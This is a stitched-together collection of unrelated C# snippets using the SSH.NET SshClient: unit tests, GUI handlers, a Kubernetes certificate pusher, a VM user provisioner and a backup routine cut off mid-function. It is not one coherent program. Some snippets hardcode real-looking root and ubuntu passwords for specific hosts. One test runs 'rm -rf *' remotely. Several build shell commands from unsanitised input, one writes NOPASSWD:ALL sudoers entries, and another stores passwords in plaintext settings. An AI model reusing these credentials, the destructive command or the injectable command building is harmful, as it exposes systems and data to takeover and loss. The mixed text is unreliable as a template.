public void Test_Connect_Handle_HostKeyReceived()
{
var host = Resources.HOST;
var username = Resources.USERNAME;
var password = Resources.PASSWORD;
var hostKeyValidated = false;
#region Example SshClient Connect HostKeyReceived
using (var client = new SshClient(host, username, password))
{
client.HostKeyReceived += delegate(object sender, HostKeyEventArgs e)
{
hostKeyValidated = true;
if (e.FingerPrint.SequenceEqual(new byte[] { 0x00, 0x01, 0x02, 0x03 }))
{
e.CanTrust = true;
}
else
{
e.CanTrust = false;
}
};
client.Connect();
// Do something here
client.Disconnect();
}
#endregion
Assert.IsTrue(hostKeyValidated);
}
public void Test_KeyExchange_Rekeying()
{
var connectionInfo = new PasswordConnectionInfo(Resources.HOST, 22, Resources.USERNAME, Resources.PASSWORD);
using (var client = new SshClient(connectionInfo))
{
client.Connect();
// TODO: Add test to test re-keying
Assert.Inconclusive();
client.Disconnect();
}
}
public void Test_Execute_Command_Asynchronously_With_Callback()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
client.Connect();
var callbackCalled = false;
var cmd = client.CreateCommand("sleep 5s; echo 'test'");
var asyncResult = cmd.BeginExecute(new AsyncCallback((s) =>
{
callbackCalled = true;
}), null);
while (!asyncResult.IsCompleted)
{
Thread.Sleep(100);
}
cmd.EndExecute(asyncResult);
Assert.IsTrue(callbackCalled);
client.Disconnect();
}
}
public void Test_Execute_Command_Asynchronously_With_Callback_On_Different_Thread()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
client.Connect();
var currentThreadId = Thread.CurrentThread.ManagedThreadId;
int callbackThreadId = 0;
var cmd = client.CreateCommand("sleep 5s; echo 'test'");
var asyncResult = cmd.BeginExecute(new AsyncCallback((s) =>
{
callbackThreadId = Thread.CurrentThread.ManagedThreadId;
}), null);
while (!asyncResult.IsCompleted)
{
Thread.Sleep(100);
}
cmd.EndExecute(asyncResult);
Assert.AreNotEqual(currentThreadId, callbackThreadId);
client.Disconnect();
}
}
public void BeginExecuteTest()
{
string expected = "123\n";
string result;
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
#region Example SshCommand CreateCommand BeginExecute IsCompleted EndExecute
client.Connect();
var cmd = client.CreateCommand("sleep 15s;echo 123"); // Perform long running task
var asynch = cmd.BeginExecute();
while (!asynch.IsCompleted)
{
// Waiting for command to complete...
Thread.Sleep(2000);
}
result = cmd.EndExecute(asynch);
client.Disconnect();
#endregion
Assert.IsNotNull(asynch);
Assert.AreEqual(expected, result);
}
}
static void Main(string[] args)
{
// Setup Credentials and Server Information
ConnectionInfo ConnNfo = new ConnectionInfo("10.141.3.110",22,"root",
new AuthenticationMethod[]{
// Pasword based Authentication
new PasswordAuthenticationMethod("root","ismail"),
}
);
// Execute (SHELL) Commands
using (var sshclient = new SshClient(ConnNfo)){
sshclient.Connect();
// quick way to use ist, but not best practice - SshCommand is not Disposed, ExitStatus not checked...
Console.WriteLine("telnet localhost 6571");
Console.WriteLine("denemeeeeeee");
//Console.WriteLine(sshclient.CreateCommand("cd /tmp && ls -lah").Execute());
//Console.WriteLine(sshclient.CreateCommand("pwd").Execute());
//Console.WriteLine(sshclient.CreateCommand("cd /tmp/uploadtest && ls -lah").Execute());
sshclient.Disconnect();
}
Console.ReadKey();
}
public void AddForwardedPortTest()
{
ConnectionInfo connectionInfo = null; // TODO: Initialize to an appropriate value
SshClient target = new SshClient(connectionInfo); // TODO: Initialize to an appropriate value
ForwardedPort port = null; // TODO: Initialize to an appropriate value
target.AddForwardedPort(port);
Assert.Inconclusive("A method that does not return a value cannot be verified.");
}
public void Test_Execute_SingleCommand_Without_Connecting()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
var result = ExecuteTestCommand(client);
Assert.IsTrue(result);
}
}
public void Test_AddForwardedPort_Invalid_PortNumber()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
client.Connect();
var port1 = client.AddForwardedPort<ForwardedPortRemote>("localhost", IPEndPoint.MaxPort+1, "www.renci.org", IPEndPoint.MaxPort+1);
client.Disconnect();
}
}
public void CleanCurrentFolder()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
client.Connect();
client.RunCommand("rm -rf *");
client.Disconnect();
}
}
public void Test_AddForwardedPort_Remote_Hosts_Are_Null()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
client.Connect();
var port1 = client.AddForwardedPort<ForwardedPortRemote>(null, 8080, null, 80);
client.Disconnect();
}
}
public void Test_EndExecute_Before_BeginExecute()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
client.Connect();
var cmd = client.CreateCommand("ls -l");
cmd.EndExecute(null);
client.Disconnect();
}
}
public void CreateCommandTest1()
{
ConnectionInfo connectionInfo = null; // TODO: Initialize to an appropriate value
SshClient target = new SshClient(connectionInfo); // TODO: Initialize to an appropriate value
string commandText = string.Empty; // TODO: Initialize to an appropriate value
SshCommand expected = null; // TODO: Initialize to an appropriate value
SshCommand actual;
actual = target.CreateCommand(commandText);
Assert.AreEqual(expected, actual);
Assert.Inconclusive("Verify the correctness of this test method.");
}
public void Test_Cipher_Aes192CTR_Connection()
{
var connectionInfo = new PasswordConnectionInfo(Resources.HOST, 22, Resources.USERNAME, Resources.PASSWORD);
connectionInfo.Encryptions.Clear();
connectionInfo.Encryptions.Add("aes192-ctr", new CipherInfo(192, (key, iv) => { return new AesCipher(key, new CtrCipherMode(iv), null); }));
using (var client = new SshClient(connectionInfo))
{
client.Connect();
client.Disconnect();
}
}
public void Test_HMac_Sha1_96_Connection()
{
var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
connectionInfo.HmacAlgorithms.Clear();
connectionInfo.HmacAlgorithms.Add("hmac-sha1", new HashInfo(20 * 8, key => CryptoAbstraction.CreateHMACSHA1(key, 96)));
using (var client = new SshClient(connectionInfo))
{
client.Connect();
client.Disconnect();
}
}
public void Test_HostKey_SshDss_Connection()
{
var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
connectionInfo.HostKeyAlgorithms.Clear();
connectionInfo.HostKeyAlgorithms.Add("ssh-dss", (data) => { return new KeyHostAlgorithm("ssh-dss", new DsaKey(), data); });
using (var client = new SshClient(connectionInfo))
{
client.Connect();
client.Disconnect();
}
}
public void Test_HMac_Sha256_Connection()
{
var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
connectionInfo.HmacAlgorithms.Clear();
connectionInfo.HmacAlgorithms.Add("hmac-sha2-256", new HashInfo(32 * 8, HashAlgorithmFactory.CreateHMACSHA256));
using (var client = new SshClient(connectionInfo))
{
client.Connect();
client.Disconnect();
}
}
public void Test_HMac_Sha1_Connection()
{
var connectionInfo = new PasswordConnectionInfo(Resources.HOST, 22, Resources.USERNAME, Resources.PASSWORD);
connectionInfo.HmacAlgorithms.Clear();
connectionInfo.HmacAlgorithms.Add("hmac-sha1", (key) => { return new HMac<SHA1Hash>(key.Take(20).ToArray()); });
using (var client = new SshClient(connectionInfo))
{
client.Connect();
client.Disconnect();
}
}
public void Test_HMac_MD5_96_Connection()
{
var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
connectionInfo.HmacAlgorithms.Clear();
connectionInfo.HmacAlgorithms.Add("hmac-md5", new HashInfo(16 * 8, key => HashAlgorithmFactory.CreateHMACMD5(key, 96)));
using (var client = new SshClient(connectionInfo))
{
client.Connect();
client.Disconnect();
}
}
public void Test_AddForwardedPort_Local_Hosts_Are_Empty()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
client.Connect();
var port1 = client.AddForwardedPort<ForwardedPortLocal>(string.Empty, 8080, string.Empty, 80);
client.Disconnect();
}
}
public void Test_KeyExchange_GroupExchange_Sha256_Connection()
{
var connectionInfo = new PasswordConnectionInfo(Resources.HOST, 22, Resources.USERNAME, Resources.PASSWORD);
connectionInfo.KeyExchangeAlgorithms.Clear();
connectionInfo.KeyExchangeAlgorithms.Add("diffie-hellman-group-exchange-sha256", typeof(KeyExchangeDiffieHellmanGroupExchangeSha256));
using (var client = new SshClient(connectionInfo))
{
client.Connect();
client.Disconnect();
}
}
public void Test_Cipher_AEes128CBC_Connection()
{
var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
connectionInfo.Encryptions.Clear();
connectionInfo.Encryptions.Add("aes128-cbc", new CipherInfo(128, (key, iv) => { return new AesCipher(key, new CbcCipherMode(iv), null); }));
using (var client = new SshClient(connectionInfo))
{
client.Connect();
client.Disconnect();
}
}
public void Test_Connect_Using_Correct_Password()
{
var host = Resources.HOST;
var username = Resources.USERNAME;
var password = Resources.PASSWORD;
#region Example SshClient(host, username) Connect
using (var client = new SshClient(host, username, password))
{
client.Connect();
// Do something here
client.Disconnect();
}
#endregion
}
protected void Arrange()
{
_connectionInfo = new ConnectionInfo("host", "user", new NoneAuthenticationMethod("userauth"));
_serviceFactoryMock = new Mock<IServiceFactory>(MockBehavior.Strict);
_sessionMock = new Mock<ISession>(MockBehavior.Strict);
var sequence = new MockSequence();
_serviceFactoryMock.InSequence(sequence).Setup(p => p.CreateSession(_connectionInfo)).Returns(_sessionMock.Object);
_sessionMock.InSequence(sequence).Setup(p => p.Connect());
_sessionMock.InSequence(sequence).Setup(p => p.OnDisconnecting());
_sessionMock.InSequence(sequence).Setup(p => p.Dispose());
_sshClient = new SshClient(_connectionInfo, false, _serviceFactoryMock.Object);
_sshClient.Connect();
}
protected void RebootButton_Click(object sender, EventArgs e)
{
try
{
using (var client = new SshClient("ra-jetson.duckdns.org", "ubuntu", "savingL1v3s"))
{
client.Connect();
client.RunCommand("sudo /home/ubuntu/Desktop/bandhan/SQL-Scripts/./RightAlertRemoteRebootIssued-SQL"); // SSH Command Here
client.RunCommand("sudo reboot"); // SSH Command Here
client.Disconnect();
}
}
catch (Exception ex)
{
Response.Redirect("Down.html");
}
}
//[TestMethod]
public void Test_MultipleThread_10000_MultipleSessions()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
client.Connect();
System.Threading.Tasks.Parallel.For(0, 10000,
(counter) =>
{
var result = ExecuteTestCommand(client);
Debug.WriteLine(string.Format("TestMultipleThreadMultipleConnections #{0}", counter));
Assert.IsTrue(result);
}
);
client.Disconnect();
}
}
public void CreateShellStreamTest()
{
ConnectionInfo connectionInfo = null; // TODO: Initialize to an appropriate value
SshClient target = new SshClient(connectionInfo); // TODO: Initialize to an appropriate value
string terminalName = string.Empty; // TODO: Initialize to an appropriate value
uint columns = 0; // TODO: Initialize to an appropriate value
uint rows = 0; // TODO: Initialize to an appropriate value
uint width = 0; // TODO: Initialize to an appropriate value
uint height = 0; // TODO: Initialize to an appropriate value
int bufferSize = 0; // TODO: Initialize to an appropriate value
IDictionary<TerminalModes, uint> terminalModeValues = null; // TODO: Initialize to an appropriate value
ShellStream expected = null; // TODO: Initialize to an appropriate value
ShellStream actual;
actual = target.CreateShellStream(terminalName, columns, rows, width, height, bufferSize, terminalModeValues);
Assert.AreEqual(expected, actual);
Assert.Inconclusive("Verify the correctness of this test method.");
}
public void Test_PrivateKeyConnectionInfo()
{
var host = Resources.HOST;
var username = Resources.USERNAME;
MemoryStream keyFileStream = new MemoryStream(Encoding.ASCII.GetBytes(Resources.RSA_KEY_WITHOUT_PASS));
#region Example PrivateKeyConnectionInfo PrivateKeyFile
var connectionInfo = new PrivateKeyConnectionInfo(host, username, new PrivateKeyFile(keyFileStream));
using (var client = new SshClient(connectionInfo))
{
client.Connect();
client.Disconnect();
}
#endregion
Assert.AreEqual(connectionInfo.Host, Resources.HOST);
Assert.AreEqual(connectionInfo.Username, Resources.USERNAME);
}
/// <summary>
/// Perform some kind of control action
/// </summary>
/// <param name="client"></param>
/// <returns></returns>
public override bool Execute(SshClient client)
{
if (Send.Contains("ATD"))
{
if (!Send.EndsWith(";"))
{
Send += ";";
}
if (Send.Contains("$TESTPHONENUMBER"))
{
if (qForm == null)
{
qForm = new frmQuestionForm {
Question = "Please enter the number to dial"
}
}
;
qForm.ShowDialog();
Send = Send.Replace("$TESTPHONENUMBER", qForm.Answer);
}
}
bool success = base.Execute(client);
if (!success)
{
if (!string.IsNullOrEmpty(HangUpOnFail))
{
Send = HangUpOnFail;
base.Execute(client);
}
return(false);
}
if (Send.Contains("AT+CSQ"))
{
if (MinCSQ.HasValue)
{
try
{
string[] arr =
Output.Split(',');
int csq = int.Parse(arr[0]);
if (csq < MinCSQ)
{
Logger.Warn("CSQ is too low");
Output += " - CSQ too low (<" + MinCSQ + ")";
success = false;
}
}
catch (Exception e)
{
Logger.Warn("Exception analysing CSQ response: " + e.Message);
success = false;
}
}
}
return(success);
}
}
public static string GetVulnerablePackageDetails(SshClient sshClient, string packageName)
{
var detail = sshClient.CreateCommand($"sudo pkg audit -F -r -q {packageName}").Execute();
return(detail);
}
private async Task OnEvent(WatcherEvent <V1Secret> e)
{
if (e.Item.Type.StartsWith("helm.sh"))
{
return;
}
var secretId = KubernetesObjectId.For(e.Item.Metadata());
var item = e.Item;
_logger.LogTrace("[{eventType}] {kind} {@id}", e.Type, e.Item.Kind, secretId);
if (e.Type != WatchEventType.Added && e.Type != WatchEventType.Modified)
{
return;
}
if (!e.Item.Metadata.ReflectionAllowed() || !e.Item.Metadata.UbiquitiReflectionEnabled())
{
return;
}
if (!e.Item.Type.Equals("kubernetes.io/tls", StringComparison.InvariantCultureIgnoreCase))
{
return;
}
_logger.LogDebug("Ubiquiti enabled using host secret {secretId}.", secretId);
var tlsCrt = Encoding.Default.GetString(item.Data["tls.crt"]);
var tlsKey = Encoding.Default.GetString(item.Data["tls.key"]);
var hostSecretIds =
item.Metadata.UbiquitiReflectionHosts()
.Select(s => new KubernetesObjectId(s))
.ToList();
foreach (var hostSecretId in hostSecretIds)
{
_logger.LogDebug(
"Reflecting {secretId} to Ubiquiti device using host secret {hostSecretId}.",
secretId, hostSecretId, hostSecretId);
string hostAddress;
string username;
string password;
try
{
var hostSecret = await _apiClient.ReadNamespacedSecretAsync(hostSecretId.Name,
string.IsNullOrWhiteSpace(hostSecretId.Namespace)
?e.Item.Metadata.NamespaceProperty
: hostSecretId.Namespace);
if (hostSecret.Data is null || !hostSecret.Data.Keys.Any())
{
_logger.LogWarning("Cannot reflect {secretId} to {hostSecretId}. " +
"Host secret {hostSecretId} has no data.",
secretId, hostSecretId, hostSecretId);
continue;
}
hostAddress = hostSecret.Data.ContainsKey("host")
? Encoding.Default.GetString(hostSecret.Data["host"])
: null;
username = hostSecret.Data.ContainsKey("username")
? Encoding.Default.GetString(hostSecret.Data["username"])
: null;
password = hostSecret.Data.ContainsKey("password")
? Encoding.Default.GetString(hostSecret.Data["password"])
: null;
}
catch (HttpOperationException ex) when(ex.Response.StatusCode == HttpStatusCode.NotFound)
{
_logger.LogWarning(
"Cannot reflect {secretId} to {hostSecretId}. Host secret {hostSecretId} not found.",
secretId, hostSecretId, hostSecretId);
continue;
}
if (string.IsNullOrWhiteSpace(hostAddress) || string.IsNullOrWhiteSpace(username) ||
string.IsNullOrWhiteSpace(password))
{
_logger.LogWarning(
"Cannot reflect {secretId} to Ubiquiti device using host secret {hostSecretId}. " +
"Host secret {hostSecretId} must contain 'host', 'username' and 'password' values.",
secretId, hostSecretId, hostSecretId);
continue;
}
var hostParts = hostAddress.Split(new[] { ":" }, StringSplitOptions.RemoveEmptyEntries)
.Select(s => s.Trim())
.Where(s => !string.IsNullOrWhiteSpace(s)).ToList();
if (!hostParts.Any() || hostParts.Count > 2)
{
_logger.LogWarning(
"Cannot reflect {secretId} to Ubiquiti device using host secret {hostSecretId}. " +
"Host secret {hostSecretId} contains invalid 'host' data. " +
"'host' must be in the format 'host:port' where port is optional.",
secretId, hostSecretId, hostSecretId);
}
var host = hostParts.First();
var port =
hostParts.Count < 2
? 22
: int.TryParse(hostParts.Last(), out var p)
? p
: 22;
// SSH
using var client = new SshClient(host, port, username, password);
client.ErrorOccurred += delegate(object sender, ExceptionEventArgs exceptionEventArgs)
{
_logger.LogError(exceptionEventArgs.Exception,
"Cannot reflect {secretId} to Ubiquiti device using host secret {hostSecretId} due to exception.",
secretId, hostSecretId);
};
_logger.LogDebug("Connecting to Ubiquiti device at {host}", hostAddress);
client.Connect();
_logger.LogDebug("Check certificate on Ubiquiti device at {host}", hostAddress);
var catCommand = client.RunCommand("cat /etc/ssl/private/cloudkey.crt");
if (catCommand.Result.Contains(tlsCrt))
{
_logger.LogDebug(
"Skip reflecting {secretId} to Ubiquiti device using host secret {hostSecretId}. Already exists.",
secretId, hostSecretId);
return;
}
_logger.LogDebug("Configuring new Let's Encrypt certs on Ubiquiti device at {host}", hostAddress);
client.RunCommand($"echo \"{tlsCrt}\" > /etc/ssl/private/cloudkey.crt");
client.RunCommand($"echo \"{tlsKey}\" > /etc/ssl/private/cloudkey.key");
client.RunCommand(
"rm -f /etc/ssl/private/cert.tar /etc/ssl/private/unifi.keystore.jks /etc/ssl/private/ssl-cert-snakeoil.key /etc/ssl/private/fullchain.pem");
client.RunCommand(
"openssl pkcs12 -export -in /etc/ssl/private/cloudkey.crt -inkey /etc/ssl/private/cloudkey.key -out /etc/ssl/private/cloudkey.p12 -name unifi -password pass:aircontrolenterprise");
client.RunCommand(
"keytool -importkeystore -deststorepass aircontrolenterprise -destkeypass aircontrolenterprise -destkeystore /usr/lib/unifi/data/keystore -srckeystore /etc/ssl/private/cloudkey.p12 -srcstoretype PKCS12 -srcstorepass aircontrolenterprise -alias unifi");
client.RunCommand("rm -f /etc/ssl/private/cloudkey.p12");
client.RunCommand("tar -cvf /etc/ssl/private/cert.tar /etc/ssl/private/*");
client.RunCommand("chown root:ssl-cert /etc/ssl/private/*");
client.RunCommand("chmod 640 /etc/ssl/private/*");
_logger.LogDebug("Restarting on Ubiquiti device at {host}", hostAddress);
client.RunCommand("systemctl restart nginx; systemctl restart unifi");
client.Disconnect();
_logger.LogInformation("Reflected {secretId} to Ubiquiti device using host secret {hostSecretId}.",
secretId, hostSecretId);
}
}
public ProjectBase(SshClient sshClient, TSettings parameters, Action <string> writeOutput)
{
_sshClient = sshClient;
WriteOutput = writeOutput;
Parameters = parameters;
}
public async Task <bool> ConfigureMachine(Machine machine)//TODO: Unifinished due to unknown elements related to lack of access to images on open nebula
{
//Construct configuration string
List <MachineConfigurationUser> configurationUsers = new();
var assignments = await GetContext().MachineAssignments.Where(ass => ass.MachineID == machine.MachineID).ToListAsync();
foreach (var assignment in assignments)//TODO: Expecting issues with resolution of virtual properties on the items from the database
{
if (assignment.GroupID == null)
{
if (await GetContext().Users.FindAsync(assignment.UserUsername) == null)
{
GetContext().Users.Add(await UserFactory.Create(assignment.UserUsername));
}
MachineConfigurationUser machineConfigurationUser = new();
machineConfigurationUser.Groups = machine.LinuxGroups;
machineConfigurationUser.Username = assignment.UserUsername;
machineConfigurationUser.UserPassword = assignment.OneTimePassword;
User user = (await GetContext().Users.FindAsync(assignment.UserUsername));
machineConfigurationUser.UserPublicKey = user.UserPublicKey;
configurationUsers.Add(machineConfigurationUser);
}
else
{
foreach (var groupAssignment in GetContext().GroupAssignments.Where(ga => ga.GroupID == assignment.GroupID))
{
MachineConfigurationUser machineConfigurationUser = new();
machineConfigurationUser.Groups = machine.LinuxGroups;
machineConfigurationUser.Username = groupAssignment.User.Username;
machineConfigurationUser.UserPassword = assignment.OneTimePassword;
machineConfigurationUser.UserPublicKey = groupAssignment.User.UserPublicKey;
configurationUsers.Add(machineConfigurationUser);
}
}
}
var connectionInfo = new ConnectionInfo(machine.MachineStatus.MachineIp, _defaultUsername, new PrivateKeyAuthenticationMethod("admin", new PrivateKeyFile($"{SERVER_SCALABLE_TEACHING_PATH}/.ssh/id_rsa")));
Console.WriteLine($"Connection info, ip: {machine.MachineStatus.MachineIp}, Default username: {_defaultUsername}, ");
using (var client = new SshClient(connectionInfo))
{
MemoryStream stdin = new();
MemoryStream stdout = new();
MemoryStream extout = new();
client.Connect();
//Add groups
foreach (var group in machine.LinuxGroups)
{
var command = client.CreateCommand($"sudo groupadd {group}");
var result = command.BeginExecute();
await Task.Run(() => result.AsyncWaitHandle.WaitOne());
}
//Add users
foreach (MachineConfigurationUser user in configurationUsers)
{
var p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.FileName = "openssl";
p.StartInfo.Arguments = $"passwd -6 -salt {RandomString(10)} {user.UserPassword}";
p.Start();
await p.WaitForExitAsync();
string output = (await p.StandardOutput.ReadToEndAsync()).Trim();
Console.WriteLine($"Add user: {user.Username} hashed pw: {output}");
//Create User
var useraddCommand = await PerformSSHCommand(client, $"sudo useradd -s \"/usr/bin/bash\" -mp {output} {user.Username.ToLower()}");
Console.WriteLine($"MachineConfigurator: useraddCommand text: {useraddCommand.CommandText} Result: {useraddCommand.Result}");
//Add user to linux groups
foreach (var group in user.Groups)
{
var usermodCommand = await PerformSSHCommand(client, $"sudo usermod -aG {group} {user.Username.ToLower()}");
Console.WriteLine($"MachineConfigurator: usermodCommand text: {usermodCommand.CommandText} .Result {usermodCommand.Result}");
}
//Prep authorized_keys
var AuthorizedKeysCommand = await PerformSSHCommand(client, $"sudo mkdir -p /home/{user.Username.ToLower()}/.ssh &&" +
$" sudo touch /home/{user.Username.ToLower()}/.ssh/authorized_keys &&" +
$" sudo chown -R {user.Username.ToLower()}:{user.Username.ToLower()} /home/{user.Username.ToLower()}/.ssh &&" +
$" sudo chmod -R 755 /home/{user.Username.ToLower()}/.ssh");
Console.WriteLine($"MachineConfigurator: AuthorizedKeysCommand text: {AuthorizedKeysCommand.CommandText} .Result {AuthorizedKeysCommand.Result}");
//Add key
var addKeyCommand = client.CreateCommand($"sudo sh -c 'echo \"{user.UserPublicKey}\" >> /home/{user.Username.ToLower()}/.ssh/authorized_keys'");
var addKeyResult = addKeyCommand.BeginExecute();
await Task.Run(() => addKeyResult.AsyncWaitHandle.WaitOne());
Console.WriteLine($"MachineConfigurator: addKeyCommand text {addKeyCommand.CommandText} .Result {addKeyCommand.Result}");
//Remove password requirement from sudo
var nopasswdCommand = await PerformSSHCommand(client, $"sudo sh -c 'echo \"{user.Username.ToLower()} ALL=(ALL) NOPASSWD:ALL\" > /etc/sudoers.d/{user.Username.ToLower()}'");
Console.WriteLine($"MachineConfigurator: nopasswdCommand text {nopasswdCommand.CommandText} .Result {nopasswdCommand.Result}");
}
//Update
var aptUpdateUpgradeCommand = await PerformSSHCommand(client, $"sudo apt-get update");
Console.WriteLine($"MachineConfigurator: aptUpdateUpgradeCommand.Result {aptUpdateUpgradeCommand.Result}");
//Prep for ppa
var ppaPrepCommand = await PerformSSHCommand(client, $"sudo apt-get install -y software-properties-common");
Console.WriteLine($"MachineConfigurator: ppaPrepCommand.Result {ppaPrepCommand.Result}");
//PPA
foreach (var ppa in machine.Ppa)
{
var ppaAddCommand = await PerformSSHCommand(client, $"sudo add-apt-repository -y {ppa}");
Console.WriteLine($"MachineConfigurator: ppaAddCommand.Result {ppaAddCommand.Result}");
}
//Post ppa update and upgrade
var postPpaUpdateCommand = await PerformSSHCommand(client, $"sudo apt-get update && sudo apt-get upgrade -y");
Console.WriteLine($"MachineConfigurator: postPpaUpdateCommand.Result {postPpaUpdateCommand.Result}");
//Install apts
foreach (var apt in machine.Apt)
{
var aptInstallCommand = await PerformSSHCommand(client, $"sudo apt-get install -y {apt}");
Console.WriteLine($"MachineConfigurator: aptInstallCommand.Result {aptInstallCommand.Result}");
}
//Apt cleanup
SshCommand aptCleanupCommand = await PerformSSHCommand(client, $"sudo apt-get autoremove -y");
Console.WriteLine($"MachineConfigurator: aptCleanupCommand.Result {aptCleanupCommand.Result}");
client.Disconnect();
}
return(true); //TODO: Implement error handeling for configuration
}
public static SshCommand BeginCommand(this SshClient ssh, string commandText, Action <string> output, AsyncCallback callback)
{
IAsyncResult asyncResult;
return(ssh.BeginCommand(commandText, output, out asyncResult));
}
internal static async Task <SshCommand> RunCommandAsync(this SshClient client, string strCommand)
{
SshCommand command = await Task.Run(() => client.RunCommand(strCommand));
return(command);
}
private void Btn_start_Click(object sender, RoutedEventArgs e)
{
string ip = tb_ip.Text;
string name = tb_name.Text;
string password = tb_password.Text;
string command = tb_command.Text;
Console.WriteLine("work");
try
{
sshClient = new SshClient(ip, 22, name, password);
sshClient.Connect();
textBox_input.IsEnabled = true;
textBox_input.Focus();
//stream = client.CreateShellStream("xterm", 80, 24, 800, 600, 1024);
stream = sshClient.CreateShellStream("customCommand", 80, 24, 800, 600, 4096);
string str = read();
textBox_result.Text += str;
//stream = client.CreateShellStream("vt100", 80, 24, 800, 600, 1024);
//stream = client.CreateShellStream("dumb", 80, 24, 800, 600, 1024);
//SendCommand(stream, "");
//test
//uint[] a = new uint[] {80, 24, 800, 600 };
//input = client.CreateShellStream("a", a[0], a[1], a[2], a[3], 1024);
//output = client.CreateShellStream("b", a[0], a[1], a[2], a[3], 1024);
//exoutput = client.CreateShellStream("c", a[0], a[1], a[2], a[3], 1024);
//shell = client.CreateShell(input, output, exoutput);
//shell.Stopped += delegate { Console.WriteLine("shell stoped!!"); };
//shell.Start();
//if(input != null)
// Console.WriteLine("input = " + input.Read());
//if(output != null)
// Console.WriteLine("output = " + output.Read());
//if(exoutput != null)
// Console.WriteLine("exoutput = " + exoutput.Read());
////input.Write("ls");
////Console.WriteLine("result = " + output.Read());
//SshCommand x = client.RunCommand(command);
//client.Disconnect();
//Console.WriteLine();
//Console.WriteLine("CommandText = " + x.CommandText);
//Console.WriteLine("CommandTimeout = " + x.CommandTimeout);
//Console.WriteLine("Error = " + x.Error);
//Console.WriteLine("ExitStatus = " + x.ExitStatus);
//Console.WriteLine("Result = " + x.Result);
//Console.WriteLine("OutputStream = " + x.OutputStream);
//Console.WriteLine("ExtendedOutputStream = " + x.ExtendedOutputStream);
//Console.WriteLine();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
Console.WriteLine("finish");
}
private void ConnectButton_Click(object sender, RoutedEventArgs e)
{
CleanUI();
SetButtonsState(false);
sshClient = new SshClient(IPAddress.Text, Username.Text, Password.Password);
try
{
sshClient.Connect();
}
catch (Exception ex)
{
UpdateTaskbarErrorState(1, System.Windows.Shell.TaskbarItemProgressState.Error);
MessageBox.Show("An error occured while connecting : \n" + ex.Message, "Error!");
SetButtonsState(true);
sshClient.Dispose();
}
areStreamsOpen = true;
Title = Title + $" - {IPAddress.Text}";
Settings1.Default[settingsFileIpKey] = IPAddress.Text;
Settings1.Default[settingsFileUsernameKey] = Username.Text;
Settings1.Default[settingsFilePasswordKey] = Password.Password;
Settings1.Default.Save();
var modes = new Dictionary <Renci.SshNet.Common.TerminalModes, uint>();
stream = sshClient.CreateShellStream("xterm", 255, 50, 800, 600, 1024, modes);
WakeupCall(stream);
ExecuteNetappEnvironmentCommands(stream);
GetONTAPVersion(stream);
nodes = GetNodes(stream);
CheckSingeNodeCluster();
if (nodes?.Count == 0)
{
UpdateTaskbarErrorState(1, System.Windows.Shell.TaskbarItemProgressState.Error);
MessageBox.Show("No nodes were found! Make sure NetApp is configured well or contact the developer", "Error!");
return;
}
aggregates = GetAggregates(stream);
_allDisks = GetDisks(stream);
ShowAllDisks(_allDisks);
_brokenDisks = GetBrokenDisks(_allDisks);
ShowAllBrokenDisks(_brokenDisks);
_unsupportedDisks = GetUnsupportedDisks(_allDisks);
ShowAllUnsupportedDisks(_unsupportedDisks);
if (!isSingleNode && _unsupportedDisks.Count > 0)
{
UpdateTaskbarErrorState(1, System.Windows.Shell.TaskbarItemProgressState.Paused);
MessageBox.Show($"Disovered {_unsupportedDisks.Count} unsupported disks, this might happen when using IOM's with different versions on a system with more that 1 node. {Environment.NewLine}You have {nodes.Count} nodes in your system, {nodes.Where(node => node.Health).Count()} of which are healthy. {Environment.NewLine}Check your IOM's versions.");
}
_foreignDisks = GetForeignDisksFromDisks(_allDisks, nodes, _unsupportedDisks);
ShowAllForeignDisks(_foreignDisks);
DisplayedDisks = _allDisks;
Checkboxes.IsEnabled = true;
}
public override IDSMVersion GetVersionInfo(SshClient client)
{
return(new DSMVersion6(GetVersionProperties(client)));
}
/// <summary>
/// Backup
/// </summary>
/// <param name="hostsAndPort"></param>
/// <param name="username"></param>
/// <param name="password"></param>
/// <param name="pathsToBackup"></param>
/// <param name="directoryWork"></param>
/// <param name="keep"></param>
/// <param name="debug"></param>
/// <param name="out"></param>
public static void Backup(string hostsAndPort,
string username,
string password,
string[] pathsToBackup,
string directoryWork,
int keep,
bool debug,
TextWriter @out)
{
@out.WriteLine($@"ACTION Backup
Keep: {keep}
Directory Work: {directoryWork}
Directory Node to archive:");
foreach (var item in pathsToBackup)
{
@out.WriteLine(item);
}
var date = DateTime.Now;
var fileNameTarGz = FileNameLinuxTarGz(date);
//create folder date
var pathSave = Path.Combine(directoryWork, date.ToString(FORMAT_DATE));
Directory.CreateDirectory(pathSave);
foreach (var(host, port) in ClientHelper.GetHostsAndPorts(hostsAndPort, 22, true, null))
{
// Execute a (SHELL) Command for download
using var sshClient = new SshClient(host, port, username, password);
//create tar
sshClient.Connect();
var cmdCreateTarGz = $"tar -cvzPf {fileNameTarGz} {string.Join(" ", pathsToBackup)}";
var retCmd = sshClient.CreateCommand(cmdCreateTarGz).Execute();
if (debug)
{
